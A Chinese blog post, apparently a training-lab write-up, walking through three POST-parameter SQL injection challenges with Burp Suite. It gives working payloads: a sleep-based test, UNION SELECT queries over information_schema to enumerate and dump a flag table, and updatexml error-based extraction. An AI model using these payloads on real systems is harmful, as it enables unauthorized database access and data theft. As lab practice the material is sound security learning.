POST注入
工具:Burpsuite
三关地址:
http://59.63.200.79:8812/New/PostBased/RankOne/sql-one/
http://59.63.200.79:8812/New/PostBased/RankTwo/sql-two/
http://59.63.200.79:8812/New/PostBased/RankThree/sql-three/
post注入第一题:
先用Burp Suite开代理抓包,在密码后加’ or sleep(5) # 判断是否有注入:
实践证明被执行了,存在注入。
然后猜解字段数和注入点:将密码账号故意写错宕掉第一行输出:
uname=&passwd=zz’union select 1,2,3 #&submit=Submit 猜测是否有三个字段和输出:
显然没有三个字段
uname=&passwd=zz’union select 1,2 #&submit=Submit 猜测是否有2个字段和输出:
显然有两个字段和回显点:
然后就和SQL显错注入类似的做法:
获取当前库中所有表名:
‘union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#
所有表名:emails,referers,uagents,users,zkaq
然后获取zkaq表中的字段名:
‘ union select 1,group_concat(column_name) from information_schema.columns where table_name =’zkaq’ #
获得表zkaq的字段名:flag,zKaQ
然后查表中内容flag:
‘ union select 1,group_concat(zKaQ) from zkaq #
获取到flag.
Post注入第二题:
第二题与第一题相似,只是前面语句的闭合部分由 ’(单引号)改为”) (双引号+括号)
其他步骤和第一题相似:
Post注入第三题:
一开始我抓包测试以为是单引号+括号的闭合,但后来发现,这样虽然可以闭合,但是没有任何显示,我就去社区看了下,结合老师上课讲的报错,又回来做了一遍:
Sleep(5)测试:
注入确实存在,sleep()函数被执行了
这个题的主要思想是没有回显点,使用报错来当回显点。
‘) or updatexml(1,concat(0x7e,(select database()),0x7e),1)# 可以查出当前数据库
因为报错只能输出一小段数据,所以我没要用limit m,n 来逐个输出我们需要的数据(表和字段),报错有一个好的地方就是我们不在需要将前面的密码账号宕掉了,所以“zkz”改不改都不会影响我们的输出点。
‘)
or updatexml(1,concat(0x7e,(select table_name from
information_schema.tables where table_schema=database() limit 4,1
),0x7e),1)# 获取我们的表名
‘)
or updatexml(1,concat(0x7e,(select column_name from
information_schema.columns where table_name=’zkaq’ limit 0,1 ),0x7e),1)#
获取zkaq表的字段名
‘) or updatexml(1,concat(0x7e,(select zKaQ from zkaq limit 3,1 ),0x7e),1)#
查出第四个flag:
但是试验了好多次,最后第18个flag才过关的。
-------------------------------------------
个性签名:你有一个苹果,我有一个苹果,我们交换一下,一人还是只有一个苹果;你有一种思想,我有一种思想,我们交换一下,一个人就有两种思想。
如果觉得这篇文章对你有小小的帮助的话,记得在右下角点个“推荐”哦,博主在此感谢!
独学而无友,则孤陋而寡闻,开源、分享、白嫖!